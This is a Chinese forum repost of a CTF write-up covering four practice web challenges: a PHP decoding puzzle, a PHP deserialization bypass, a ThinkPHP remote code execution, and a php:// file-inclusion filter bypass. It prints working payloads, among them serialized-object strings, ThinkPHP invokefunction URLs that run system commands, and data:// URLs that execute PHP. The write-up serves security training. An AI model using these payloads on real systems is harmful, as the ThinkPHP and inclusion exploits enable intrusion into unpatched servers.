双剑破天门:攻防天下Web题解之独孤九剑心法(八)

打印 上一主题 下一主题

主题 1901|帖子 1901|积分 5703



免责声明:用户因使用公众号内容而产生的任何行为和结果,由用户自行负担责任。本公众号不负担因用户误解、不当使用等导致的法律责任

**本文以攻防天下部分题为例进行演示,后续会对攻防天下大部分的web题目进行演示,如果你感兴趣请关注**

目次
一:WEB 2
二:Web_php_unserialize
三:php_rce
四:web_php_include
五:总结
1. WEB 2
2. Web_php_unserialize
3. php_rce
4. web_php_include

一:WEB 2

打开是一个php代码

代码审计
   1.首先给了一段密文也就是需要解密的flag
  2.然后对传进来的str进行字符串反转($_o)
  3.进入for循环,首先截取一个字符(赋值给$_c),将这个字符转换为ascii值进行+1(赋值给$__)然后将+1后的ascii在转换为字符(赋值给$_c)输出末了进行拼接(比方先将abc变为cba然后再加1末了拼接就是dbc)
  4.对$_进行base64编码然后再反转末了进行rot13转换
  解密只需要将如上倒过来即可
先进行rot13转化然后进行strrer反转在进行base64解码将解码后的结果进行截取对其ascii减1后转换为字符末了拼接完再反转即可得到flag


解密代码如下
  1. <?php
  2. $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
  3. // 逆向str_rot13
  4. $step1 = str_rot13($miwen);
  5. // 逆向strrev
  6. $step2 = strrev($step1);
  7. // 逆向base64_encode
  8. $step3 = base64_decode($step2);
  9. // 逆向ord($char)+1
  10. $decrypted = "";
  11. for ($i = 0; $i < strlen($step3); $i++) {
  12.     $char = substr($step3, $i, 1);
  13.     $decrypted .= chr(ord($char) - 1);
  14. }
  15. // 反转字符串得到最终结果
  16. $flag = strrev($decrypted);
  17. echo  $flag;
  18. ?>
复制代码

二:Web_php_unserialize

打开为如下所示,是一个反序列化的题目

进行代码审计
   首先定义一个demo的类,而且定义一个私有属性初始值为index.php,
  然后又声明了两个个函数,$file是用于接收外部传入的文件路径,
  __construct:对变量进行赋初始值也就是index.php
  _destruct:在步伐结束时以高亮输出
  在往下下看它提示我们flag在fl4g.php中,以是只要我们将index.php修改为fl4g.php就可以得到flag
  第二段代码,首先接受一个var对其进行base64解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出stop。
但是这段代码中有两个限制条件那就是__wakeup和正则表达式preg_match('/[oc]:\d+:/i'
Wakeup非常容易绕过那就是属性值大于属性个数  正则该如何绕过
序列化结果如下
   O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
  

Wakeup绕过:O:4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
正则绕过:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
   Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  

但是我们发现输入后没有出现flag

实在题目在下图所示
Demo前后有两个空格,那我们加上这两个空格看看能不能拿到flag

还是什么都没有

只能用如下方法了使用str_replace替换方案
最终
   payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  

乐成拿到flag


解密代码
  1. <?php
  2. class Demo {
  3.     private $file = 'index.php';
  4.     public function __construct($file) {
  5.         $this->file = $file;
  6.     }
  7.     function __destruct() {
  8.         echo @highlight_file($this->file, true);
  9.     }
  10.     function __wakeup() {
  11.         if ($this->file != 'index.php') {
  12.             //the secret is in the fl4g.php
  13.             $this->file = 'index.php';
  14.         }
  15.     }
  16. }
  17. $flag=new Demo ('fl4g.php');
  18. $flag =(serialize($flag));
  19. $flag =str_replace('O:4','O:+4',$flag);
  20. $flag =str_replace(':1:',':2:',$flag);
  21. echo base64_encode($flag);
  22. ?>
复制代码

三:php_rce

打开如下图所示,
通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过url调用到框架内部的敏感函数,进而导致漏洞。

通过payload:
   /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"
  找到flag地点位置

最终payload:
   /index.php?
  s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
  乐成拿到flag


四:web_php_include

打开如下如所示,这是一道文件包含题目

代码审计
   首先接收一个page然后进行while循环利用strstr函数查察page中是否包含php://
  如果包含则将其替换为空
  然退却出循环
    以是如果想拿到flag就需要绕过strstr函数,它过滤的是php://
  那么利用巨细写不就绕过了
  构建payload:?page=Php://input.然后利用爆破实行下令
  乐成找到flag文件
  

乐成拿到flag


五:总结

1. WEB 2

题型特性


  • 基础类题目,通常观察查察源代码、HTTP头信息或简朴请求操纵15。
  • 可能隐藏Flag在HTML注释、响应头或通过简朴请求触发返回。
解题思绪

  • 查察页面源代码:按F12或右键查察源码,搜索flag或hint,常见于注释中5。
  • 查抄HTTP响应头:使用浏览器开发者工具的“网络”标签查察响应头,可能直接包含Flag15。
  • 发送特定请求

    • 修改请求方法(GET/POST),如提交参数?what=flag;
    • 使用Python脚本快速发送POST请求,示比方下1:
      python
               
      1. <strong>import requests  
      2. r = requests.post(url, data={'key': 'value'})  
      3. print(r.text)  </strong>
      复制代码


2. Web_php_unserialize

题型特性


  • 涉及PHP反序列化漏洞,通过构造恶意序列化数据触发魔术方法(如__destruct)实行下令29。
  • 需绕过__wakeup方法限制及正则过滤。
解题思绪

  • 绕过__wakeup

    • 修改序列化字符串中对象属性数量,使其大于现实数量(如将O:4:"Demo":1:改为O:+4:"Demo":2:)。

  • 正则过滤绕过

    • 替换O:4为O:+4,利用正则表达式/[oc]:\d+:/i不匹配+的特性29。

  • 构造Payload

    • 示例序列化字符串:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},需进行Base64编码后传参。
    • 工具辅助天生Payload,避免手动构造错误。


3. php_rce

题型特性


  • 利用框架的远程代码实行漏洞,通过特定路由或参数注入下令。
解题思绪

  • Payload构造

    • 实行系统下令
               
      1. <strong>?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls  </strong>
      复制代码
    • 查找Flag文件
               
      1. <strong>?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"  </strong>
      复制代码
    • 读取文件
               
      1. <strong>?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag  </strong>
      复制代码

  • 绕过限制

    • 尝试不同版本Payload。


4. web_php_include

题型特性


  • 文件包含漏洞,利用PHP伪协议(如data://、php://input)实行代码。
  • 常见过滤场景:替换php://关键字,需绕过协议限制。
解题思绪

  • 伪协议利用

    • 实行代码
               
      1. <strong>?page=data://text/plain,<?php system("ls");?>  </strong>
      复制代码
    • Base64编码绕过
               
      1. <strong>?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==  </strong>
      复制代码

  • 绕过php://过滤

    • 巨细写混淆(如pHp://)或使用data://。

  • 文件读取

    • 使用php://filter读取源码:
               
      1. <strong>?page=php://filter/convert.base64-encode/resource=index.php  </strong>
      复制代码


(需要源代码及各类资料接洽博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

火影

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表